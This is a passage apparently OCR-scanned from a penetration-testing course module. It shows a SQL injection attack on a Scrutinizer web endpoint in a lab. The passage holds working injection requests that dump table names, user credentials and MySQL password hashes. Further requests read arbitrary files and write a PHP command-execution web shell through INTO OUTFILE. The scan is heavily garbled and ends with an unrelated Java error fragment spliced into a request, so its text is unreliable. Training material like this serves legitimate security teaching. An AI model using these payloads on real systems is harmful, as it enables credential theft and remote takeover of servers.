le_name,1+from+information_schema.tables+limit+1,1-—+ - Server: Apache
HTTP/1.1 % X-Powered-By: PHP/5.3.3
Host: 172.16.175.145 : Vary: Accept-Encoding
Connection: close ;

Content-Length: 18
Connection: close
Content-Type: text/html

COLLATIONS (1)]|1

Figure 94 - Pulling the first table from infofmation_schema

Request Response

4 Params T Headers THexW _LWI Heade:T Hex ]

BTTP/1.1 200 OK

Date: Tue, 03 May 2016 20:28:45 GMT
Server: Apache

X-Powered-By: PHP/5.3.3

Vary: Accept-Encoding
Content-Length: 45

Connection: close

Content-Type: text/html

GET
/d4d/statusFilter.php?commonJson=protList&q='+union+select+tab

le_name, l+from+information_schema.tables+limit+2,1--+
BTTP/1.1

Bost: 172.16.175.145
Connection: close

COLLATION_CHARACTER_SET_APPLICABILITY (1)]|1

Figure 95 - Pulling the second table frbm information_schema
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Now, let’s extract the column names

Request Response
_F T Params THeaders THex ] J w;:| Headers F—Iex ]
- - b o -
GET A BTTP/1.1 200 OK
/ddd/statusFilter.php?commonJson=protList&g='+union+select+col . Date: Tue, 03 May 2016 20:54:17 GMT
umn_name,l+from+information_schema.columns+where+table_name='u . Server: Apache
sers'+limit+l,1~-+ HTTP/1l.1 X-Powered-By: PHP/5.3.3
Host: 172.16.175.145 Vary: Accept-Encoding
Connection: close 2 Content-Length: 12

Connection: close
Content-Type: text/html

name (1)|1

Figure 96 - Pulling the first column from the users table

Request Response

Rag] Hea
HTTP/1.1 200 OK
Date: Tue, 03 May 2016 20:54:33 GMT
server: Apache

X-Powered-By: PHP/5.3.3

Vary: Accept-Encoding
Content-Length: 11

Connection: close

Content-Type: text/html

Headers

T Params T Headers THex ] ng

GET
/d4d/statusFilter.php?commonJson=protList&g='+union+select+col
umn_name, l+from+information_schema.columns+where+table_name='u
sers'+limit+2,1--+ HTTP/1.1

Host: 172.16.175.145

Connection: close

pwd (1) |2

Figure 97 - Pulling the second column from the users table

Note that the table names are capitalized. This tells us that they are metadata tables. Now, instead of

performing this manually, we will use an automated script.

root@kali:~/module-03# ./darkMySQLi.py -u
"http://172.16.175.145/d4d/statusFilter.php?commonJson=protList&q='+union+select+dar
kcOde,darkcOde" --schema -D plixer --end --%20

| rsauron@gmail.com v1l.6 |
I 1/2009 darkMySQLi.py |
| -- Multi Purpose MySQL Injection Tool -- |
| Usage: darkMySQLi.py [options] |
| -h help darkcOde.com |

[+] URL:
http://172.16.175.145/d4d/statusFilter.php?commoanon=protList&q='+union+select+dark
cO0de, darkcOde
[+] 15:44:26
[+] Evasion: /**/ --%20
[+] Cookie: None
[+] SSL: No
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[-]1 Proxy Not Given
[+] Gathering MySQL Server Configuration...
Database: plixer
User: scrutinizer@localhost
Version: 5.1.60-enterprise-commercial-classic
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[+] Showing Tables & Columns from database "plixer"
[+] Number of Tables: 123

[Database]: plixer
[Table: Columns]

[1]3rdparty: id,label,url,icon,disabled, created by
[2]activeif:
device_id, snmp_interface, in_bytes,out_bytes, in_packets,out_ packets, max_in bytes,max_

out_bytes,mins_data, flow direction,modi fied ts, last_flow_ts,last _max_reset, max_in ts
;max_out_ts

[3lalarm_types: msg_type,msg_key

[4]lalarms_menu: id, lang_name_id, parent_id,menu,url
[5]apikeys: apikey id,url,apikey

[6]application_pivot: app_piv_id,app_id,port_id, network id

Figure 98 - Dumping All of the MySQL Table Names and columns - note the appended --%20

Having gathered the database table and column names, we decide to target the authentication

information in the database. It would be safe to assume at this paint that this information is probably

residing in the users table so we proceed to dump its table data.

Request Response

Wi | Params T Headers Ing ] ’ ‘ _£ || Headers T Hex ]
GET

HTTP/1.1 200 OK

Date: Tue, 03 May 2016 20:59:02 GMT
Server: Apache

X~-Powered-By: PHP/5.3.3

Vary: Accept-Encoding
Content-Length: 24

Connection: close

Content-Type: text/html

/d4d/statusFilter.php?commonJson=protList&q='+union+select+con
cat(id, 0x3a,name,0x3a,pwd), l+fromtusers--+ HTTP/1.1

Host: 172.16.175.145

Connection: close

1l:admin:Iw0BBgo= (1)]|1

Figure 99 - Dumping the Application Username and Password Hash

And given the right privileges, we can also dump the MySQL usernames and hashes (MySQL SHA1).

Requaest Response

[

Params | Headers

GET

/d4d/statusFilter.php?commonJson=protList&qg='+union+select+con
cat({0ser, 0x3a,Password), l+from+mysql.userf}-+ BPTP/1.1

Host: 172.16.175.145

Connection: close

.1 200 OK
Date: Tue, 03 May 2016 21:02:47 GMT
Server: Apache
X-Powered-By: PHEP/5.3.3
Vary: Accept-Encoding
Content~Length: 133
Connection: close
Content-Type: text/html

root: (1)|1

sorutinizer:*4ACFE3202A5FF5CF467898FCSSARBID615029441 (1)1
scrutremote: *4ACFE3202A5FF5CF467898FC58AAB1D615029441 (1)1

Figure 100 - Dumping the MySQL Usernames and Password Hashes
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Other than querying the database, we can also read arbitrary files from the local file system by using

LOAD_FILE as follows and encoding the filename as asci encoded.

Regtest Respons:
Jmase] Porams | veaders [ hex | (e esders T iex |

BTTP/1.1 200 OK
Date: Tue, 03 May 2016 22:40:18 GNT
Server: Apache

¥-Powered-By: PBP/5.3.3

vary: Accept-Encoding
Content-Length: 218

Connection: close

Content-Type: text/html

GET
/d4d/statusFilter .php? P stags’ 11+s
olect+lond_file(0x633a5c626£6£7420696669)  Lums BTTR/1.1
dost: 172.16.175.145

Connection: close

[boot loader]

timeout=30

dofaultemulti(0)disk(0)rdisk(0)partition (1) \WINDONS

[operating systems]

multi(0)disk(0)rdisk(0)partition (1) \HINDOWS="Hindows Sorvor 2003, Entoxprise” /nooxecutezoptout /fastdotact

P [ES1F}
Figure 101 - Reading an Arbitrary File from the Target Filesystem

3.1.4.1 Course Work

Exercise: What Do We Have Here?

o Test the SQL injection mentioned above. What other interesting information can you discover

about the database?
3.1.5 Getting Code Execution

As the MySQL server is running on Windows with SYSTEM privileges, there is a good chance we will be

able to write to the victim file system using the INTO OUTFILE functionality.
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' 1 Params | Headers T Hex ]

GET
/d4d/statusFilter.php?commoanon=protList&q='+union+select
+'test’, l+into+outfile+ ¢:/Program+Files/Scrutinizer/html
/hola.php’-~+ HTTP/1.1

Host: 172.16.175.145

Connection: close

Address iw{ Ci\Program Files\Scrutinizerihtml

Name = - Size] Type : v
jess File Folder 5/3/2016 11:49 4M
i [ File Folder 5/3/2016 11:49 AM
ddd File Folder 5/3/2016 11:49 AM
Ciflash File Folder 5/3/2016 11:49 AM
;__}gadgets File Falder 5/3/2016 11:49 AM
File Folder 5/3/2016 11:49 AM
File Folder 5/3{2016 11:49 AM
File Folder 513/2016 11:49 AM
File Folder 5/3{2016 11:49 AM
File Folder 5/3(2016 11:49 AM
File Folder 5/3(2016 11:49 AM
File Folder 51‘31‘2016 11:49 AM

[ hola.php - Notepad

Fle Edit Format View He

alarms_menu. htrl frest 10

benchmarkstatus.html

comba_bax,html

combobosx.hte

& dbdown,html

& debug.html

£ iFavicon.ico

& Flows_examiner . html

flowHapper . html =

Flowrview. html -

hola.php jj ; 2 = ﬁ

& index.html 4KE Firefox HTML Docu...  3(7/2012 6:56 &M
Figure 102 - Testing the Ability to Write a File

Now that we’ve proven we can write to the filesystem, let’s write a malicious PHP file to the target.

Haguest

‘[ Rawl Params Y Headers T Hex ]

1KB PHP File

GET ) 4KB Firefox HTML Docu..,  3j7(
/d4d/statusFilter.php?commonJson=protList&g= +union+select

+'<?phptsystem($_GET{cmd]);?>', l+intotoutfile+ c:/Program 1

+Files/Scrutinizer/html/erec .php'~-+ BTTP/Ll.1 Kl

Host: 172.16.175.145 317

Connection: c¢lose 1 - <

<7php system($ GET [cmd]) 7> 374z

¢ pern 11f1

# perm 11

@ pern 1141

¢ pernt  RInt

& pern 111

| pern g

& perr E bt

Figure 103 - Writing a Malicious PHP Backdoor to the Filesystem
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Accessing this file in a browser should prove code execution as shown below.

Request Response

J Headers

HTTP/1.1 200 OK

Date: Tue, 03 May 2016 22:53:49 GMT
Server: Apache

X-Powered-By: PHP/5.3.3

Vary: Accept-Encoding
Content-Length: 302

Connection: close

Content-Type: text/html

.| Params !
GET /exec.p<ns1:XMLFault xmlns:ns1="http://cxf.apache.org/bindings/xformat"><ns1:faultstring xmlns:ns1="http://cxf.apache.org/bindings/xformat">java.lang.OutOfMemoryError: Java heap space</ns1:faultstring></ns1:XMLFault>